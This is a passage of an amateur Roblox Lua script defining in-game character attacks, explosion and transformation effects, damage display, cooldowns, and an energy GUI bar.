1136 | targ.Image="rbxassetid://4834067" | |
1137 | targ.Size=UDim2.new(1,0,1,0) | |
1138 | cam.CameraType="Scriptable" | |
1139 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1140 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1141 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1142 | Targetting=true | |
1143 | RocketTarget=ZTarget | |
1144 | for i=1,Property do | |
1145 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
1146 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
1147 | swait() | |
1148 | end | |
1149 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
1150 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1151 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1152 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
1153 | end | |
1154 | Targetting=false | |
1155 | RocketTarget=nil | |
1156 | targetgui.Parent=nil | |
1157 | cam.CameraType="Custom" | |
1158 | end | |
1159 | end | |
1160 | debounce=Instance.new("BoolValue") | |
1161 | debounce.Name="DebounceHit" | |
1162 | debounce.Parent=hit.Parent | |
1163 | debounce.Value=true | |
1164 | game:GetService("Debris"):AddItem(debounce,Delay) | |
1165 | c=Instance.new("ObjectValue") | |
1166 | c.Name="creator" | |
1167 | c.Value=Player | |
1168 | c.Parent=h | |
1169 | game:GetService("Debris"):AddItem(c,.5) | |
1170 | CRIT=false | |
1171 | hitDeb=true | |
1172 | AttackPos=6 | |
1173 | end | |
1174 | end | |
1175 | ||
1176 | showDamage=function(Char,Dealt,du,Color) | |
1177 | m=Instance.new("Model") | |
1178 | m.Name=tostring(Dealt) | |
1179 | h=Instance.new("Humanoid") | |
1180 | h.Health=0 | |
1181 | h.MaxHealth=0 | |
1182 | h.Parent=m | |
1183 | c=Instance.new("Part") | |
1184 | c.Transparency=0 | |
1185 | c.Material = "Neon" | |
1186 | c.BrickColor=bc("New Yeller") | |
1187 | c.Name="Head" | |
1188 | c.TopSurface=0 | |
1189 | c.BottomSurface=0 | |
1190 | local tick = Instance.new("Sound",c) | |
1191 | tick.SoundId = "rbxassetid://12221976" | |
1192 | tick.Volume = 5 | |
1193 | tick.Pitch = 4 | |
1194 | tick:Play() | |
1195 | c.formFactor="Plate" | |
1196 | c.Size=Vector3.new(1,.4,1) | |
1197 | ms=Instance.new("CylinderMesh") | |
1198 | ms.Scale=Vector3.new(.8,.8,.8) | |
1199 | if CRIT==true then | |
1200 | ms.Scale=Vector3.new(1,1.25,1) | |
1201 | end | |
1202 | ms.Parent=c | |
1203 | c.Reflectance=0 | |
1204 | Instance.new("BodyGyro").Parent=c | |
1205 | c.Parent=m | |
1206 | if Char:findFirstChild("Head")~=nil then | |
1207 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1208 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
1209 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1210 | end | |
1211 | f=Instance.new("BodyPosition") | |
1212 | f.P=2000 | |
1213 | f.D=100 | |
1214 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1215 | f.position=c.Position+Vector3.new(0,3,0) | |
1216 | f.Parent=c | |
1217 | game:GetService("Debris"):AddItem(m,.5+du) | |
1218 | c.CanCollide=false | |
1219 | m.Parent=workspace | |
1220 | c.CanCollide=false | |
1221 | p:Destroy() | |
1222 | end | |
1223 | ||
1224 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
1225 | for _, c in pairs(workspace:children()) do | |
1226 | local hum = c:findFirstChild("Humanoid") | |
1227 | if hum ~= nil then | |
1228 | local head = c:findFirstChild("Torso") | |
1229 | if head ~= nil then | |
1230 | local targ = head.Position - Part.Position | |
1231 | local mag = targ.magnitude | |
1232 | if mag <= magni and c.Name ~= Player.Name then | |
1233 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
1234 | end | |
1235 | end | |
1236 | end | |
1237 | end | |
1238 | end | |
1239 | ||
1240 | function Explode(rad,par) | |
1241 | local expart = Instance.new("Part",script.Parent) | |
1242 | local expart2 = Instance.new("Part",script.Parent) | |
1243 | local partMesh = Instance.new("SpecialMesh",expart) | |
1244 | partMesh.MeshType = "Sphere" | |
1245 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1246 | partMesh2.MeshType = "Sphere" | |
1247 | local expld = Instance.new("Explosion", script.Parent) | |
1248 | local plode = Instance.new("Sound",expart) | |
1249 | plode.SoundId = "rbxassetid://165970126" | |
1250 | plode.Volume = 1 | |
1251 | plode.Pitch = 1 | |
1252 | plode.Looped = false | |
1253 | plode:Play() | |
1254 | expld.BlastRadius = rad | |
1255 | expld.Position = par.Position | |
1256 | partMesh.Scale = vt(rad,rad,rad) | |
1257 | expart.Size = vt(1,1,1)*1.5 | |
1258 | expart.Transparency = 0 | |
1259 | expart.Anchored = true | |
1260 | expart.Material = "Neon" | |
1261 | expart.BrickColor = bc("White") | |
1262 | expart.CFrame = par.CFrame | |
1263 | partMesh2.Scale = vt(rad,rad,rad) | |
1264 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1265 | expart2.Transparency = 0.5 | |
1266 | expart2.Anchored = true | |
1267 | expart2.Material = "Neon" | |
1268 | expart2.BrickColor = bc("New Yeller") | |
1269 | expart2.CFrame = par.CFrame | |
1270 | local value = 1*rad/6.5 | |
1271 | par:Destroy() | |
1272 | for i = 0, 100 do | |
1273 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1274 | expart.CFrame = expart.CFrame | |
1275 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1276 | expart2.CFrame = expart.CFrame | |
1277 | value = value - 0.035*rad/6.5 | |
1278 | if value < 1 then | |
1279 | value = 0.25 | |
1280 | expart.Transparency = expart.Transparency + 0.025 | |
1281 | expart2.Transparency = expart2.Transparency + 0.025 | |
1282 | end | |
1283 | wait() | |
1284 | end | |
1285 | plode.Parent = nil | |
1286 | expart.Parent = nil | |
1287 | expart2.Parent = nil | |
1288 | expld.Parent = nil | |
1289 | end | |
1290 | ||
1291 | function ExplodeMass(rad,par) | |
1292 | local expart = Instance.new("Part",script.Parent) | |
1293 | local expart2 = Instance.new("Part",script.Parent) | |
1294 | local partMesh = Instance.new("SpecialMesh",expart) | |
1295 | partMesh.MeshType = "Sphere" | |
1296 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1297 | partMesh2.MeshType = "Sphere" | |
1298 | local expld = Instance.new("Explosion", script.Parent) | |
1299 | local plode = Instance.new("Sound",workspace) | |
1300 | plode.SoundId = "rbxassetid://579687077" | |
1301 | plode.Volume = 1 | |
1302 | plode.Pitch = 0.85 | |
1303 | plode.Looped = false | |
1304 | plode:Play() | |
1305 | local plodez = Instance.new("Sound",workspace) | |
1306 | plodez.SoundId = "rbxassetid://288641686" | |
1307 | plodez.Volume = 1 | |
1308 | plodez.Pitch = 0.75 | |
1309 | plodez.Looped = false | |
1310 | plodez:Play() | |
1311 | local plodeza = Instance.new("Sound",workspace) | |
1312 | plodeza.SoundId = "rbxassetid://197161452" | |
1313 | plodeza.Volume = 0.85 | |
1314 | plodeza.Pitch = 0.65 | |
1315 | plodeza.Looped = false | |
1316 | plodeza:Play() | |
1317 | local plodezar = Instance.new("Sound",workspace) | |
1318 | plodezar.SoundId = "rbxassetid://197161452" | |
1319 | plodezar.Volume = 0.85 | |
1320 | plodezar.Pitch = 0.25 | |
1321 | plodezar.Looped = false | |
1322 | plodezar:Play() | |
1323 | expld.BlastRadius = rad | |
1324 | expld.Position = par.Position | |
1325 | wait(0.5) | |
1326 | par:Destroy() | |
1327 | plode.Parent = nil | |
1328 | expart.Parent = nil | |
1329 | expart2.Parent = nil | |
1330 | expld.Parent = nil | |
1331 | end | |
1332 | function ExplodeMassen(rad,par) | |
1333 | local expart = Instance.new("Part",script.Parent) | |
1334 | local expart2 = Instance.new("Part",script.Parent) | |
1335 | local partMesh = Instance.new("SpecialMesh",expart) | |
1336 | partMesh.MeshType = "Sphere" | |
1337 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1338 | partMesh2.MeshType = "Sphere" | |
1339 | local expld = Instance.new("Explosion", script.Parent) | |
1340 | local plode = Instance.new("Sound",workspace) | |
1341 | plode.SoundId = "rbxassetid://579687077" | |
1342 | plode.Volume = 1 | |
1343 | plode.Pitch = 0.85 | |
1344 | plode.Looped = false | |
1345 | plode:Play() | |
1346 | local plodez = Instance.new("Sound",workspace) | |
1347 | plodez.SoundId = "rbxassetid://288641686" | |
1348 | plodez.Volume = 1 | |
1349 | plodez.Pitch = 0.75 | |
1350 | plodez.Looped = false | |
1351 | plodez:Play() | |
1352 | local plodeza = Instance.new("Sound",workspace) | |
1353 | plodeza.SoundId = "rbxassetid://197161452" | |
1354 | plodeza.Volume = 0.85 | |
1355 | plodeza.Pitch = 0.65 | |
1356 | plodeza.Looped = false | |
1357 | plodeza:Play() | |
1358 | local plodezar = Instance.new("Sound",workspace) | |
1359 | plodezar.SoundId = "rbxassetid://197161452" | |
1360 | plodezar.Volume = 0.85 | |
1361 | plodezar.Pitch = 0.25 | |
1362 | plodezar.Looped = false | |
1363 | plodezar:Play() | |
1364 | expld.BlastRadius = rad | |
1365 | expld.Position = par.Position | |
1366 | partMesh.Scale = vt(rad,rad,rad) | |
1367 | expart.Size = vt(1,1,1)*1.5 | |
1368 | expart.Transparency = 0 | |
1369 | expart.Anchored = true | |
1370 | expart.Material = "Neon" | |
1371 | expart.BrickColor = bc("White") | |
1372 | expart.CFrame = par.CFrame | |
1373 | partMesh2.Scale = vt(rad,rad,rad) | |
1374 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1375 | expart2.Transparency = 0.5 | |
1376 | expart2.Anchored = true | |
1377 | expart2.Material = "Neon" | |
1378 | expart2.BrickColor = tors.BrickColor | |
1379 | expart2.CFrame = par.CFrame | |
1380 | local value = 1*rad/10 | |
1381 | par:Destroy() | |
1382 | for i = 0, 300 do | |
1383 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1384 | expart.CFrame = expart.CFrame | |
1385 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1386 | expart2.CFrame = expart.CFrame | |
1387 | value = value - 0.0175*rad/10 | |
1388 | if value <= 0 then | |
1389 | expart.Transparency = expart.Transparency + 0.0125 | |
1390 | expart2.Transparency = expart2.Transparency + 0.0125 | |
1391 | value = 0.25 | |
1392 | end | |
1393 | wait() | |
1394 | end | |
1395 | plode.Parent = nil | |
1396 | expart.Parent = nil | |
1397 | expart2.Parent = nil | |
1398 | expld.Parent = nil | |
1399 | end | |
1400 | local Ultramode = false | |
1401 | ||
1402 | function Transform() | |
1403 | if basiccooldown >= 5 then | |
1404 | hum.WalkSpeed = 0 | |
1405 | local sparta = Instance.new("Part",workspace) | |
1406 | local msher = Instance.new("SpecialMesh",sparta) | |
1407 | msher.MeshType = "Sphere" | |
1408 | msher.Scale = vt(1,1,1) | |
1409 | wit = BrickColor.new("Really black").Color | |
1410 | local glowz = Instance.new("ParticleEmitter") | |
1411 | glowz.LightEmission = 1 | |
1412 | glowz.Parent = sparta | |
1413 | glowz.Texture = "rbxassetid://284205403" | |
1414 | glowz.Color = ColorSequence.new(wit) | |
1415 | glowz.Size = NumberSequence.new(15) | |
1416 | glowz.Speed = NumberRange.new(100,250) | |
1417 | glowz.LockedToPart = false | |
1418 | glowz.Transparency = NumberSequence.new(0.75) | |
1419 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1420 | glowz.Lifetime = NumberRange.new(1) | |
1421 | glowz.Rate = 50000 | |
1422 | glowz.VelocitySpread = 9001 | |
1423 | local sa2 = Instance.new("Sound",sparta) | |
1424 | sa2.SoundId = "rbxassetid://93724183" | |
1425 | sa2.Pitch = 0.5 | |
1426 | sa2.Volume = 5 | |
1427 | sa2.Looped = false | |
1428 | sa2:Play() | |
1429 | local saz2 = Instance.new("Sound",sparta) | |
1430 | saz2.SoundId = "rbxassetid://199145659" | |
1431 | saz2.Pitch = 0.45 | |
1432 | saz2.Volume = 5*2 | |
1433 | saz2.Looped = false | |
1434 | local plode = Instance.new("Sound",sparta) | |
1435 | plode.SoundId = "rbxassetid://153274423" | |
1436 | plode.Volume = 5 | |
1437 | plode.Pitch = 1 | |
1438 | plode.Looped = false | |
1439 | local ploder = Instance.new("Sound",sparta) | |
1440 | ploder.SoundId = "rbxassetid://130972023" | |
1441 | ploder.Volume = 5 | |
1442 | ploder.Pitch = 1 | |
1443 | ploder.Looped = false | |
1444 | sparta.Size = vt(1,1,1) | |
1445 | sparta.BrickColor = BrickColor.new("Really black") | |
1446 | sparta.Material = "Neon" | |
1447 | sparta.Transparency = 0 | |
1448 | sparta.Anchored = true | |
1449 | sparta.CanCollide = false | |
1450 | sparta.CFrame = tors.CFrame | |
1451 | sparta.Rotation = vt(0,0,0) | |
1452 | local value2 = 2 | |
1453 | for i = 0, 24 do | |
1454 | value2 = value2 - 0.065 | |
1455 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1456 | wait() | |
1457 | end | |
1458 | for i = 0, 10 do | |
1459 | value2 = value2 + 0.06575 | |
1460 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1461 | wait() | |
1462 | end | |
1463 | for i = 0, 10 do | |
1464 | value2 = value2 - 0.2 | |
1465 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1466 | wait() | |
1467 | end | |
1468 | for i = 0, 10 do | |
1469 | value2 = value2 + 0.275 | |
1470 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1471 | wait() | |
1472 | end | |
1473 | for i = 0, 10 do | |
1474 | value2 = value2 - 0.4 | |
1475 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1476 | wait() | |
1477 | end | |
1478 | for i = 0, 10 do | |
1479 | value2 = value2 + 0.475 | |
1480 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1481 | wait() | |
1482 | end | |
1483 | for i = 0, 10 do | |
1484 | value2 = value2 - 0.6 | |
1485 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1486 | wait() | |
1487 | end | |
1488 | for i = 0, 10 do | |
1489 | value2 = value2 + 0.675 | |
1490 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1491 | wait() | |
1492 | end | |
1493 | for i = 0, 10 do | |
1494 | value2 = value2 - 0.7 | |
1495 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1496 | wait() | |
1497 | end | |
1498 | for i = 0, 10 do | |
1499 | value2 = value2 + 0.775 | |
1500 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1501 | wait() | |
1502 | end | |
1503 | saz2:Play() | |
1504 | wait(2.75) | |
1505 | plode:Play() | |
1506 | ploder:Play() | |
1507 | Ultramode = true | |
1508 | for i = 0, 75 do | |
1509 | value2 = value2 - 0.0575 | |
1510 | glowz.Rate = 0 | |
1511 | sparta.Transparency = sparta.Transparency + 0.025 | |
1512 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1513 | wait() | |
1514 | end | |
1515 | hum.WalkSpeed = 16 | |
1516 | sparta:Destroy() | |
1517 | end | |
1518 | end | |
1519 | ||
1520 | ||
1521 | function Blaze2() | |
1522 | if ultcooldown >= 30 then | |
1523 | local sloc = Instance.new("Part",workspace) | |
1524 | local msh = Instance.new("SpecialMesh",sloc) | |
1525 | msh.MeshType = "Sphere" | |
1526 | sloc.Size = vt(1,1,1) | |
1527 | sloc.Transparency = 1 | |
1528 | sloc.BrickColor = tors.BrickColor | |
1529 | sloc.Position = hed.Position + vt(0,0.1,0) | |
1530 | sloc.CanCollide = false | |
1531 | sloc.Shape = "Ball" | |
1532 | sloc.Anchored = true | |
1533 | sloc.Material = "Neon" | |
1534 | local s = Instance.new("Sound",char) | |
1535 | s.SoundId = "rbxassetid://289315275" | |
1536 | s.Pitch = 1 | |
1537 | s.Volume = 2.75 | |
1538 | s.Looped = false | |
1539 | s:Play() | |
1540 | local s2 = Instance.new("Sound",char) | |
1541 | s2.SoundId = "rbxassetid://671759140" | |
1542 | s2.Pitch = 0.425 | |
1543 | s2.Volume = 1 | |
1544 | s2.Looped = false | |
1545 | s2:Play() | |
1546 | local val = 0.65*5 | |
1547 | for i = 0 , 75 do | |
1548 | sloc.Transparency = sloc.Transparency - 0.035 | |
1549 | msh.Scale = msh.Scale + vt(val,val,val) | |
1550 | val = val - 0.0075*5 | |
1551 | wait() | |
1552 | end | |
1553 | wait(2) | |
1554 | local sen = Instance.new("Sound",char) | |
1555 | sen.SoundId = "rbxassetid://289315275" | |
1556 | sen.Pitch = 1 | |
1557 | sen.Volume = 2.75 | |
1558 | sen.Looped = false | |
1559 | sen:Play() | |
1560 | local tick = Instance.new("Sound",char) | |
1561 | tick.SoundId = "rbxassetid://446876721" | |
1562 | tick.Volume = 2.5 | |
1563 | tick.Pitch = 0.5 | |
1564 | tick:Play() | |
1565 | msh.Scale = msh.Scale - vt(1,1,1) | |
1566 | sloc.Transparency = sloc.Transparency + 0.015 | |
1567 | local spart = Instance.new("Part",workspace) | |
1568 | local msh2 = Instance.new("SpecialMesh",spart) | |
1569 | msh2.MeshType = "Sphere" | |
1570 | spart.Size = vt(2,2,2) | |
1571 | spart.Shape = "Ball" | |
1572 | spart.BrickColor = tors.BrickColor | |
1573 | spart.Material = "Neon" | |
1574 | spart.Transparency = 0 | |
1575 | spart.Anchored = false | |
1576 | msh2.Scale = msh.Scale/2 | |
1577 | spart.Rotation = hed.Rotation | |
1578 | spart.CanCollide = false | |
1579 | spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0)) | |
1580 | local bv = Instance.new("BodyVelocity") | |
1581 | bv.maxForce = Vector3.new(1e9, 1e9, 1e9) | |
1582 | bv.velocity = mouse.Hit.lookVector * 125 | |
1583 | bv.Parent = spart | |
1584 | sloc:Destroy() | |
1585 | wait(0.00001) | |
1586 | pewdiepie=spart.Touched:connect(function(hit) | |
1587 | ExplodeMassen(100,spart) | |
1588 | end) | |
1589 | wait(5) | |
1590 | sloc:Destroy() | |
1591 | tick:Destroy() | |
1592 | s:Destroy() | |
1593 | sen:Destroy() | |
1594 | s2:Destroy() | |
1595 | end | |
1596 | if ultcooldown < 1 then | |
1597 | for i = 0, 29 do | |
1598 | ultcooldown = ultcooldown + 1 | |
1599 | wait(1) | |
1600 | end | |
1601 | end | |
1602 | end | |
1603 | ||
1604 | function Blaze() | |
1605 | if ultcooldown >= 30 then | |
1606 | local ff = Instance.new("ForceField",char) | |
1607 | local s = Instance.new("Sound",char) | |
1608 | s.SoundId = "rbxassetid://289315275" | |
1609 | s.Pitch = 1 | |
1610 | s.Volume = 2.75 | |
1611 | s.Looped = false | |
1612 | s:Play() | |
1613 | local s2 = Instance.new("Sound",char) | |
1614 | s2.SoundId = "rbxassetid://671759140" | |
1615 | s2.Pitch = 0.425 | |
1616 | s2.Volume = 1 | |
1617 | s2.Looped = false | |
1618 | s2:Play() | |
1619 | local spart = boll:Clone() | |
1620 | local spart2 = shur:Clone() | |
1621 | local msh = Instance.new("SpecialMesh",spart) | |
1622 | msh.MeshType = "Sphere" | |
1623 | spart.Parent = workspace | |
1624 | spart.Transparency = 1 | |
1625 | spart.Anchored = true | |
1626 | spart.Position = tors.Position + vt(0,1,0) | |
1627 | spart.Size = spart.Size + vt(1,1,1) | |
1628 | for i = 0, 10 do | |
1629 | spart.BrickColor = tors.BrickColor | |
1630 | spart.Transparency = spart.Transparency + -0.05 | |
1631 | spart.Position = tors.Position + vt(0,1,0) | |
1632 | spart.Size = spart.Size + vt(3,3,3) | |
1633 | wait(0) | |
1634 | end | |
1635 | for i = 0, 5 do | |
1636 | spart.BrickColor = tors.BrickColor | |
1637 | spart.Transparency = spart.Transparency + -0.05 | |
1638 | spart.Position = tors.Position + vt(0,1,0) | |
1639 | spart.Size = spart.Size + vt(2.5,2.5,2.5) | |
1640 | wait(0) | |
1641 | end | |
1642 | for i = 0, 5 do | |
1643 | spart.BrickColor = tors.BrickColor | |
1644 | spart.Transparency = spart.Transparency + -0.05 | |
1645 | spart.Position = tors.Position + vt(0,1,0) | |
1646 | spart.Size = spart.Size + vt(1,1,1) | |
1647 | wait(0) | |
1648 | end | |
1649 | for i = 0, 10 do | |
1650 | spart.BrickColor = tors.BrickColor | |
1651 | wait(0.1) | |
1652 | end | |
1653 | for i = 0, 20 do | |
1654 | spart.BrickColor = tors.BrickColor | |
1655 | spart.Transparency = spart.Transparency + 0.05 | |
1656 | spart.Position = tors.Position + vt(0,1,0) | |
1657 | spart.Size = spart.Size + vt(-5,-5,-5) | |
1658 | wait(0) | |
1659 | end | |
1660 | local sp = spart:Clone() | |
1661 | sp.Parent = workspace | |
1662 | sp.Position = spart.Position | |
1663 | local sp2 = sp:Clone() | |
1664 | sp2.Parent = workspace | |
1665 | sp2.Transparency = 0.5 | |
1666 | local msh2 = sp2.Mesh | |
1667 | msh2.Scale = vt(1250,1250,1250) | |
1668 | wit = tors.BrickColor.Color | |
1669 | local glowz = Instance.new("ParticleEmitter") | |
1670 | glowz.LightEmission = 0.75 | |
1671 | glowz.Parent = sp2 | |
1672 | glowz.Texture = "rbxassetid://284205403" | |
1673 | glowz.Color = ColorSequence.new(wit) | |
1674 | glowz.Size = NumberSequence.new(50) | |
1675 | glowz.Speed = NumberRange.new(425,450) | |
1676 | glowz.LockedToPart = false | |
1677 | glowz.Transparency = NumberSequence.new(0.75) | |
1678 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1679 | glowz.Lifetime = NumberRange.new(1) | |
1680 | glowz.Rate = 50000 | |
1681 | glowz.VelocitySpread = 9001 | |
1682 | spart2.Parent = workspace | |
1683 | spart2.Mesh.Scale = vt(25, 90000, 25) | |
1684 | spart2.Position = tors.Position | |
1685 | local seen = Instance.new("Sound",char) | |
1686 | seen.SoundId = "rbxassetid://445796828" | |
1687 | seen.Pitch = 0.75 | |
1688 | seen.Volume = 1.75 | |
1689 | seen.Looped = true | |
1690 | seen:Play() | |
1691 | local sen = Instance.new("Sound",char) | |
1692 | sen.SoundId = "rbxassetid://289315275" | |
1693 | sen.Pitch = 0.98 | |
1694 | sen.Volume = 2.65 | |
1695 | sen.Looped = false | |
1696 | sen:Play() | |
1697 | local tick = Instance.new("Sound",char) | |
1698 | tick.SoundId = "rbxassetid://446876721" | |
1699 | tick.Volume = 5 | |
1700 | tick.Pitch = 0.5 | |
1701 | tick:Play() | |
1702 | local seena = Instance.new("Sound",char) | |
1703 | seena.SoundId = "rbxassetid://300916057" | |
1704 | seena.Pitch = 0.5 | |
1705 | seena.Volume = 2.5 | |
1706 | seena.Looped = false | |
1707 | seena:Play() | |
1708 | spart.Transparency = 0 | |
1709 | ExplodeMass(1000,sp) | |
1710 | for i = 0, 450 do | |
1711 | spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1)) | |
1712 | sp2.Position = spart.Position | |
1713 | spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035) | |
1714 | spart2.BrickColor = tors.BrickColor | |
1715 | msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5) | |
1716 | msh.Scale = msh.Scale + vt(50,50,50) | |
1717 | sp2.Transparency = sp2.Transparency + 0.0005 | |
1718 | spart.Transparency = spart.Transparency + 0.0025 | |
1719 | spart2.Transparency = spart2.Transparency + 0.0025 | |
1720 | wait(0) | |
1721 | end | |
1722 | spart:Destroy() | |
1723 | seena:Destroy() | |
1724 | ff:Destroy() | |
1725 | seen:Destroy() | |
1726 | sen:Destroy() | |
1727 | tick:Destroy() | |
1728 | spart2:Destroy() | |
1729 | s:Destroy() | |
1730 | sp:Destroy() | |
1731 | sp2:Destroy() | |
1732 | s2:Destroy() | |
1733 | end | |
1734 | if ultcooldown < 1 then | |
1735 | for i = 0, 29 do | |
1736 | ultcooldown = ultcooldown + 1 | |
1737 | wait(1) | |
1738 | end | |
1739 | end | |
1740 | end | |
1741 | ||
1742 | -- sin | |
1743 | Player=game:GetService("Players").LocalPlayer | |
1744 | Character=Player.Character | |
1745 | PlayerGui=Player.PlayerGui | |
1746 | Backpack=Player.Backpack | |
1747 | Torso=Character.Torso | |
1748 | Head=Character.Head | |
1749 | Humanoid=Character.Humanoid | |
1750 | m=Instance.new('Model',Character) | |
1751 | LeftArm=Character["Left Arm"] | |
1752 | LeftLeg=Character["Left Leg"] | |
1753 | RightArm=Character["Right Arm"] | |
1754 | RightLeg=Character["Right Leg"] | |
1755 | LS=Torso["Left Shoulder"] | |
1756 | LH=Torso["Left Hip"] | |
1757 | RS=Torso["Right Shoulder"] | |
1758 | RH=Torso["Right Hip"] | |
1759 | Face = Head.face | |
1760 | Neck=Torso.Neck | |
1761 | it=Instance.new | |
1762 | attacktype=1 | |
1763 | vt=Vector3.new | |
1764 | cf=CFrame.new | |
1765 | euler=CFrame.fromEulerAnglesXYZ | |
1766 | angles=CFrame.Angles | |
1767 | cloaked=false | |
1768 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1769 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1770 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
1771 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
1772 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
1773 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
1774 | RootPart=Character.HumanoidRootPart | |
1775 | RootJoint=RootPart.RootJoint | |
1776 | RootCF=euler(-1.57,0,3.14) | |
1777 | attack = false | |
1778 | attackdebounce = false | |
1779 | deb=false | |
1780 | equipped=true | |
1781 | hand=false | |
1782 | MMouse=nil | |
1783 | combo=0 | |
1784 | mana=0 | |
1785 | trispeed=1 | |
1786 | pathtrans=.7 | |
1787 | attackmode='none' | |
1788 | local idle=0 | |
1789 | local Anim="Idle" | |
1790 | local Effects={} | |
1791 | local gun=false | |
1792 | local shoot=false | |
1793 | player=nil | |
1794 | cloak=false | |
1795 | lightcolor='Bright blue' | |
1796 | ||
1797 | local Color1=BrickColor.new("Royal purple") | |
1798 | ||
1799 | local fengui=it("GuiMain") | |
1800 | fengui.Parent=Player.PlayerGui | |
1801 | fengui.Name="WeaponGUI" | |
1802 | local fenframe=it("Frame") | |
1803 | fenframe.Parent=fengui | |
1804 | fenframe.BackgroundColor3=Color3.new(255,255,255) | |
1805 | fenframe.BackgroundTransparency=1 | |
1806 | fenframe.BorderColor3=Color3.new(17,17,17) | |
1807 | fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0) | |
1808 | fenframe.Position=UDim2.new(0.4,0,0.1,0) | |
1809 | local fenbarmana1=it("TextLabel") | |
1810 | fenbarmana1.Parent=fenframe | |
1811 | fenbarmana1.Text=" " | |
1812 | fenbarmana1.BackgroundTransparency=0 | |
1813 | fenbarmana1.BackgroundColor3=Color3.new(0,0,0) | |
1814 | fenbarmana1.SizeConstraint="RelativeXY" | |
1815 | fenbarmana1.TextXAlignment="Center" | |
1816 | fenbarmana1.TextYAlignment="Center" | |
1817 | fenbarmana1.Position=UDim2.new(0,0,0,0) | |
1818 | fenbarmana1.Size=UDim2.new(4,0,0.2,0) | |
1819 | local fenbarmana2=it("TextLabel") | |
1820 | fenbarmana2.Parent=fenframe | |
1821 | fenbarmana2.Text=" " | |
1822 | fenbarmana2.BackgroundTransparency=0 | |
1823 | fenbarmana2.BackgroundColor3=Torso.Color | |
1824 | fenbarmana2.SizeConstraint="RelativeXY" | |
1825 | fenbarmana2.TextXAlignment="Center" | |
1826 | fenbarmana2.TextYAlignment="Center" | |
1827 | fenbarmana2.Position=UDim2.new(0,0,0,0) | |
1828 | fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0) | |
1829 | local fenbarmana3=it("TextLabel") | |
1830 | fenbarmana3.Parent=fenframe | |
1831 | fenbarmana3.Text=" " | |
1832 | fenbarmana3.BackgroundTransparency=0 | |
1833 | fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3) | |
1834 | fenbarmana3.SizeConstraint="RelativeXY" | |
1835 | fenbarmana3.TextXAlignment="Center" | |
1836 | fenbarmana3.TextYAlignment="Center" | |
1837 | fenbarmana3.Position=UDim2.new(0,0,0,0) | |
1838 | fenbarmana3.Size=UDim2.new(0,0,0.2,0) | |
1839 | local fenbarmana4=it("TextLabel") | |
1840 | fenbarmana4.Parent=fenframe | |
1841 | fenbarmana4.Text="Energy("..mana..")" | |
1842 | fenbarmana4.BackgroundTransparency=1 | |
1843 | fenbarmana4.BackgroundColor3=Color3.new(0,0,0) | |
1844 | fenbarmana4.SizeConstraint="RelativeXY" | |
1845 | fenbarmana4.TextXAlignment="Center" | |
1846 | fenbarmana4.TextYAlignment="Center" | |
1847 | fenbarmana4.Position=UDim2.new(0,0,-0.3,0) | |
1848 | fenbarmana4.Size=UDim2.new(4,0,0.2,0) | |
1849 | fenbarmana4.FontSize="Size9" | |
1850 | fenbarmana4.TextStrokeTransparency=0 | |
1851 | fenbarmana4.TextColor=BrickColor.new("White") | |
1852 | ||
